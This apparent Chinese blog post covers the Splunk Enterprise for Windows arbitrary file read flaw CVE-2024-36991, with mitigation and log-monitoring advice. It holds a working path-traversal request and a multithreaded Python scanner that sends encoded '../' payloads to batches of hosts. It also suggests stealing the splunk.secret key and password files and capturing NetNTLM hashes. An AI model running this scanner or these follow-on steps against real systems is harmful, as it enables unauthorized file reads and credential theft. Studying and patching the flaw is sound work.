当前位置: 首页 > news >正文

#渗透测试#批量漏洞挖掘#Splunk Enterprise for Windows 任意文件读取漏洞( CVE-2024-36991)

免责声明 本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停止本文章读。

目录

一、漏洞概述

二、技术原理分析

三、受影响版本

四、修复建议

五、验证方法

六、漏洞拓展影响

七、漏洞检测脚本


一、漏洞概述

  • CVE编号:CVE-2024-36991
  • 漏洞类型:任意文件读取 (Arbitrary File Read)
  • 影响组件:Splunk Enterprise for Windows版本的Web接口
  • CVSS评分:[需参考NVD/NIST官方评分,典型文件读取漏洞通常在7.0-8.0间]

二、技术原理分析

  1. 根本原因
    路径遍历漏洞,攻击者通过构造恶意请求绕过路径访问限制,利用Windows文件系统特性读取未授权文件。例如:

GET /splunkd/__raw/servicesNS/-/-/debug/file?path=C:\Windows\system32\drivers\etc\hosts HTTP/1.1
  1. 服务端未对path参数进行规范化处理,导致可读取系统文件。

  2. 利用条件

    • 攻击者需具备低权限账户或利用未认证接口(视具体漏洞而定)
    • 目标系统运行Windows平台下的受影响Splunk版本

三、受影响版本

根据Splunk安全公告,确认受影响版本(示例):

  • Splunk Enterprise 9.0.x(Windows版,低于9.0.5)
  • Splunk Enterprise 8.2.x(Windows版,低于8.2.11)

四、修复建议

  1. 官方补丁升级
# 检查当前Splunk版本
& "$SPLUNK_HOME\bin\splunk" --version# 下载对应版本的安全更新包
# 例如9.0.x系列的修复版本为9.0.5

临时缓解措施(如无法立即升级):

  • 在网络层限制对Splunk Web接口(默认8000端口)的访问范围
  • 启用Splunk内置的访问控制策略,严格限制API接口权限
  • 监控异常文件访问日志:
index=_internal source=*web_service.log  uri=*file* (status=200 OR status=403) 
| stats count by clientip, path

五、验证方法

通过查询系统注册表确认补丁生效:

# Windows系统查看Splunk安装版本
Get-ItemProperty HKLM:\Software\Wow6432Node\SplunkInstaller | Select SplunkVersion

六、漏洞拓展影响

可能被利用组合攻击的场景:

  1. 读取$SPLUNK_HOME\etc\passwd获取加密凭据
  2. 窃取c:\ProgramData\Splunk\etc\auth\splunk.secret 密钥文件
  3. 横向移动获取NetNTLM哈希(需配合Responder工具)

建议企业用户优先在安全测试环境验证修复方案,并同步检查所有Splunk节点(包括Search Head/Indexer/Forwarder)的版本一致性。

七、漏洞检测脚本

#!/usr/bin/env python3 
"""
Splunk Enterprise for Windows 任意文件读取漏洞检测工具(优化版)
功能增强:
1. 支持多线程批量检测 
2. 增加HTTPS协议优先级 
3. 添加结果保存功能 
4. 改进漏洞特征检测 
5. 支持代理配置 
"""import argparse 
import requests 
import sys 
import os 
from concurrent.futures  import ThreadPoolExecutor, as_completed 
from urllib3.exceptions  import InsecureRequestWarning # 禁用SSL警告 
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) # 颜色配置 
COLOR_CONFIG = {'RED': '\033[91m','GREEN': '\033[92m','YELLOW': '\033[93m','RESET': '\033[0m'
}# 漏洞检测配置 
DETECTION_CONFIG = {'timeout': 15,'max_redirects': 0,'vuln_signatures': ['[fonts]', '[extensions]', 'file://'],'path_traversal_depth': 10,  # 目录遍历层级 'default_ports': [8000, 8080, 443]  # 默认尝试端口 
}def color_print(text, color=None):"""彩色输出封装"""if color and COLOR_CONFIG.get(color.upper()): return f"{COLOR_CONFIG[color.upper()]}{text}{COLOR_CONFIG['RESET']}"return text def construct_url(base_url):"""智能处理URL格式"""base_url = base_url.strip() if not base_url.startswith(('http://',  'https://')):for port in DETECTION_CONFIG['default_ports']:if f':{port}' in base_url:return f'https://{base_url}'return f'http://{base_url}'return base_url def check_file_read(target_url, proxies=None, timeout=None):"""执行漏洞检测核心逻辑"""headers = {'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36','Accept-Encoding': 'gzip, deflate'}# 动态构造路径遍历 traversal_path = '/C:%2e%2e' * DETECTION_CONFIG['path_traversal_depth']exploit_url = f"{target_url.rstrip('/')}/en-US/modules/messaging{traversal_path}/windows/win.ini" try:response = requests.get( exploit_url,headers=headers,verify=False,timeout=timeout or DETECTION_CONFIG['timeout'],allow_redirects=DETECTION_CONFIG['max_redirects'],proxies=proxies )# 增强特征检测 vuln_detected = all(sig in response.text  for sig in DETECTION_CONFIG['vuln_signatures']) if response.status_code  == 200 else False return {'url': target_url,'status': 'VULNERABLE' if vuln_detected else 'SAFE','status_code': response.status_code, 'content_length': len(response.text), 'response_sample': response.text[:100] }except requests.RequestException as e:return {'url': target_url,'error': str(e)}def process_results(results, output_file=None):"""处理并输出检测结果"""for result in results:if 'error' in result:print(f"{color_print('[!]', 'YELLOW')} {result['url']} 检测失败: {result['error']}")continue status_msg = color_print('[+] 存在漏洞', 'RED') if result['status'] == 'VULNERABLE' else '[-] 未检测到漏洞'info_msg = f"状态码: {result['status_code']} | 响应长度: {result['content_length']} | 响应摘要: {result['response_sample']}"print(f"{status_msg} - {result['url']}\n   {info_msg}")if output_file:with open(output_file, 'a') as f:f.write(f"{result['url']},{result['status']}\n") def main():parser = argparse.ArgumentParser(description='Splunk Enterprise 任意文件读取漏洞检测工具')parser.add_argument('-u',  '--url', help='单个目标URL')parser.add_argument('-f',  '--file', help='包含多个URL的文件')parser.add_argument('-t',  '--threads', type=int, default=5, help='并发线程数 (默认: 5)')parser.add_argument('-o',  '--output', help='结果输出文件')parser.add_argument('--timeout',  type=int, default=15, help='请求超时时间 (默认: 15秒)')parser.add_argument('--proxy',  help='使用代理 (示例: http://127.0.0.1:8080)')args = parser.parse_args() # 参数校验 if not args.url  and not args.file: parser.error(' 必须指定 -u/--url 或 -f/--file 参数')# 配置代理 proxies = {'http': args.proxy,  'https': args.proxy}  if args.proxy  else None # 准备目标列表 targets = []if args.url: targets.append(construct_url(args.url)) if args.file: if not os.path.exists(args.file): sys.exit(color_print(f" 错误: 文件 {args.file}  不存在", 'RED'))with open(args.file,  'r') as f:targets.extend([construct_url(line)  for line in f if line.strip()  and not line.startswith('#')]) # 执行并发检测 results = []with ThreadPoolExecutor(max_workers=args.threads)  as executor:futures = {executor.submit(check_file_read,  url, proxies, args.timeout):  url for url in targets}for future in as_completed(futures):results.append(future.result()) # 处理结果输出 process_results(results, args.output) if __name__ == '__main__':main()

相关文章:

#渗透测试#批量漏洞挖掘#Splunk Enterprise for Windows 任意文件读取漏洞( CVE-2024-36991)

免责声明 本教程仅为合法的教学目的而准备,严禁用于任何形式的违法犯罪活动及其他商业行为,在使用本教程前,您应确保该行为符合当地的法律法规,继续阅读即表示您需自行承担所有操作的后果,如有异议,请立即停…...

苹果公司宣布正式开源 Xcode 引擎 Swift Build145

2025 年 2 月 1 日,苹果公司宣布正式开源 Xcode 引擎 Swift Build145。 Swift 是苹果公司于 2014 年推出的一种开源编程语言,用于开发 iOS、iPadOS、macOS、watchOS 和 tvOS 等平台的应用程序。 发展历程 诞生:2014 年,苹果在全球…...

7.list

本篇博客梳理C的STL中的list容器 一、list的基本结构与使用 1.list的介绍 list的底层是带头循环双向链表 带头:含哨兵位 循环:尾节点的next指针指向哨兵位 双向:每个节点具有两个指针域,一个指针指向前一个结点 2…...

Qt+海康虚拟相机的调试

做机器视觉项目的时候,在没有相机或需要把现场采集的图片在本地跑一下做测试时,可以使用海康的虚拟相机调试。以下是设置步骤: 1.安装好海康MVS软件,在菜单栏->工具选择虚拟相机工具,如下图: 2.打开虚拟…...

数据库基础练习4(有关索引,视图完整解答)

建立需要的表 学生表 mysql> create table studnet(sno int primary key auto_increment,sname varchar(30) not null unique,ssex varchar(2) check (ssex男 or ssex女) not null ,sage int not null,sdept varchar(10) default 计算机 not null); Query OK, 0 rows affe…...

实操给触摸一体机接入大模型语音交互

本文以CSK6 大模型开发板串口触摸屏为例,实操讲解触摸一体机怎样快速增加大模型语音交互功能,使用户能够通过语音在一体机上查询信息、获取智能回答及实现更多互动功能等。 在本文方案中通过CSK6大模型语音开发板采集用户语音,将语音数据传输…...

Excel中对单列数据进行去重筛选

在Excel中对单列数据进行去重筛选,可以按照以下步骤操作: 方法一:使用“删除重复项”功能 选择数据列:点击要处理的列头(如A列)。打开“删除重复项”: Excel 2007及以后版本:点击“…...

K8s —基础指南(K8s - Basic Guide)

K8s —基础指南 K8s 是云上部署容器化应用的事实标准。它作为容器的强大编排器,管理容器重启、负载均衡等任务。 理解 Kubernetes 架构 Kubernetes 的关键功能之一是为访问 Pod 提供稳定的端点,尽管 Pod 本身是短暂的。Kubernetes 服务有效地弥补了这…...

ABAP开发中的前导零和末尾零

前导零和末尾零是指分别出现在数字序列中第一个非零数字之前和最后一个非零数字之后的任何零数字。 关于前导 0 在 SAP 系统中,大多数字母数字字段在数据库中存储时都带前导零,完全占用字段的定义长度。但是,当字段显示给最终用户时&#x…...

Baklib赋能数字内容体验个性化推荐提升用户体验的未来之路

内容概要 随着数字化时代的不断发展,用户对内容消费的需求日益多样化,个性化推荐成为提升用户体验的重要手段。Baklib以其先进的技术手段,在数字内容领域内积极推动个性化推荐的实施,从而满足用户在信息获取和内容消费中的独特需…...

关于Redis的持久化

目录 RDB 1.手动触发 2.自动触发 AOF aof的重写机制 Redis虽然是一个内存数据库,但是也是可以将数据存储到硬盘中的,也就是持久化。硬盘的数据是在Redis重启的时候,用来恢复内存中的数据的,即对数据做了一个备份。Redis实现持…...

【C语言标准库函数】指数与对数函数:exp(), log(), log10()

目录 一、头文件 二、函数简介 2.1. exp(double x) 2.2. log(double x) 2.3. log10(double x) 三、函数实现(概念性) 3.1. exp(double x) 的模拟实现 3.2. log(double x) 和 log10(double x) 的模拟实现 四、注意事项 4.1. exp(double x) 的注…...

2024美团春招硬件开发笔试真题及答案解析

目录 一、选择题 1、在 Linux,有一个名为 file 的文件,内容如下所示: 2、在 Linux 中,关于虚拟内存相关的说法正确的是() 3、AT89S52单片机中,在外部中断响应的期间,中断请求标志位查询占用了()。 4、下列关于8051单片机的结构与功能,说法不正确的是()? 5、…...

Python内置函数map(), list(), len(), iter(), hex(), hash()的详细解析,包括功能、语法、示例及注意事项

1. map(function, iterable, ...) 功能:对可迭代对象中的每个元素应用指定函数,返回一个迭代器。 参数: function:要执行的函数(可以是lambda表达式)。 iterable:一个或多个可迭代对象&#x…...

[LVGL] 在VC_MFC中移植LVGL

前言: 0. 在MFC中开发LVGL的优点是可以用多个Window界面做辅助扩展【类似GUIguider】 1.本文基于VC2022-MFC单文档框架移植lvgl8 2. gitee上下载lvgl8.3 源码,并将其文件夹改名为lvgl lvgl: LVGL 是一个开源图形库,提供您创建具有易于使用…...

MySQL视图索引操作

创建学生表; mysql> create table Student(-> Sno int primary key auto_increment,-> Sname varchar(30) not null unique,-> Ssex char(2) check (Ssex男 or Ssex女) not null,-> Sage int not null,-> Sdept varchar(10) default 计算机 not …...

一次奇怪的空指针问题分析:事务、死锁与隐式回滚

最近我们在排查一个诡异的 空指针异常,整个分析过程可以说是跌宕起伏,最终的结论也颇具隐蔽性。今天就把这个问题分享出来,希望对大家有所帮助。 问题现象 在系统中,我们有 单据 B,它通过一个 关联 ID 字段与 上级单…...

解决aspose将Excel转成PDF中文变成方框的乱码问题

原文网址:解决aspose将Excel转成PDF中文变成方框的乱码问题_IT利刃出鞘的博客-CSDN博客 简介 本文介绍如何解决aspose将Excel转成PDF中文变成方框的乱码问题。 问题描述 用aspose将word、excel等转成PDF后,英文展示正常,但中文全部变成了…...

.net8.0使用EF连接sqlite数据库及使用Gridify实现查询的简易实现

EF Core EF Core 是一个流行的对象关系映射(ORM)框架,它简化了与数据库的交互,提供了一个高效、灵活且易于使用的数据访问层。 Entity Framework (EF) Core 是轻量化、可扩展、开源和跨平台版的常用 Entity Framework 数据访问技…...

2025.2.5——五、[网鼎杯 2020 青龙组]AreUSerialz

题目来源&#xff1a;BUUCTF [网鼎杯 2020 青龙组]AreUSerialz 一、打开靶机&#xff0c;整理信息 直接得到一串php代码&#xff0c;根据题目可以看到还有序列化 二、解题思路 step 1&#xff1a;代码审计 <?phpinclude("flag.php");highlight_file(__FILE__…...

3个技巧让LaTeX参考文献自动符合GB/T 7714国标:告别手动排版烦恼

3个技巧让LaTeX参考文献自动符合GB/T 7714国标&#xff1a;告别手动排版烦恼 【免费下载链接】gbt7714-bibtex-style BibTeX styles for Chinese National Standard GB/T 7714 项目地址: https://gitcode.com/gh_mirrors/gb/gbt7714-bibtex-style 还在为毕业论文、学术论…...

Godot引擎集成CEF实现Web混合渲染:gdcef项目架构与实战指南

1. 项目概述与核心价值最近在折腾一个老项目的现代化改造&#xff0c;需要把传统的桌面应用嵌入到Web视图中&#xff0c;实现混合渲染。在技术选型时&#xff0c;我绕不开一个名字&#xff1a;CEF&#xff0c;也就是Chromium Embedded Framework。它几乎是桌面应用内嵌浏览器控…...

亿图脑图高级技能:从思维建模到生产力提升的完整指南

1. 项目概述与核心价值最近在整理个人知识库和项目文档时&#xff0c;我一直在寻找一个能让我思维更清晰、协作更高效的“大脑外挂”。市面上思维导图工具不少&#xff0c;但要么功能臃肿、学习曲线陡峭&#xff0c;要么过于轻量、难以应对复杂的结构化思考。直到我深度体验并拆…...

构建AI智能体安全护栏:AgentGuard多层防护架构与工程实践

1. 项目概述&#xff1a;构建AI应用的安全护栏最近在部署和调试一些基于大语言模型&#xff08;LLM&#xff09;的智能体&#xff08;Agent&#xff09;应用时&#xff0c;我遇到了一个挺头疼的问题&#xff1a;这些应用在自由发挥时&#xff0c;偶尔会“说错话”或者“做错事”…...

使用 Taotoken 后模型 API 响应延迟与稳定性效果实测观察

&#x1f680; 告别海外账号与网络限制&#xff01;稳定直连全球优质大模型&#xff0c;限时半价接入中。 &#x1f449; 点击领取海量免费额度 使用 Taotoken 后模型 API 响应延迟与稳定性效果实测观察 作为一名需要频繁调用大模型 API 的开发者&#xff0c;模型服务的响应速…...

前台测试想转后台优化?这4个条件缺一不可,否则别折腾

很多做前台测试的兄弟都问过同一个问题&#xff1a;我能不能转后台&#xff1f;今天这篇文章&#xff0c;一次性把后台工程师的准入清单说清楚。一、基础条件&#xff1a;5条缺一不可年龄20-50岁太小的缺经验&#xff0c;太大的学新东西慢&#xff0c;这个区间刚刚好。有网优基…...

基于API网关与Go的物联网设备管理平台架构设计与实践

1. 项目概述&#xff1a;一个为冲浪模拟器设计的API网关最近在折腾一个很有意思的项目&#xff0c;叫WindsurfPoolAPI。乍一看这个名字&#xff0c;你可能会联想到风帆冲浪或者游泳池&#xff0c;但实际上&#xff0c;它是一个为“冲浪模拟器”这类设备或应用场景设计的后端API…...

盛立体育足球场人造草坪

盛立体育足球场人造草坪湖北盛立体育科技有限公司是一家规模较大的集研发设计、生产制造、销售和安装于一体的人造草坪厂家。公司拥有自己的生产研发工厂&#xff0c;目前主营&#xff1a;足球场人造草坪&#xff0c;幼儿园人造草坪&#xff0c;塑胶跑道、各类仿真草坪等系列产…...

高速SOIC插座技术解析:从原理到工程实践

1. 高速SOIC插座的技术演进与核心价值在射频和高速数字电路设计中&#xff0c;工程师们经常面临一个经典矛盾&#xff1a;既要保证芯片测试的便捷性&#xff0c;又不能牺牲信号完整性。传统DIP插座在MHz级频率下尚能应付&#xff0c;但当频率攀升至GHz领域时&#xff0c;其机械…...

别再手动刷新了!Qt5/Qt6下用信号槽优雅处理串口热插拔(避坑QTimer的误用)

Qt串口热插拔检测&#xff1a;从定时轮询到事件驱动的架构升级 在工业控制、医疗设备和物联网终端开发中&#xff0c;串口通信的稳定性直接关系到系统可靠性。传统QTimer轮询方案虽然实现简单&#xff0c;但在实际项目中常遇到两个典型问题&#xff1a;一是频繁的端口扫描造成C…...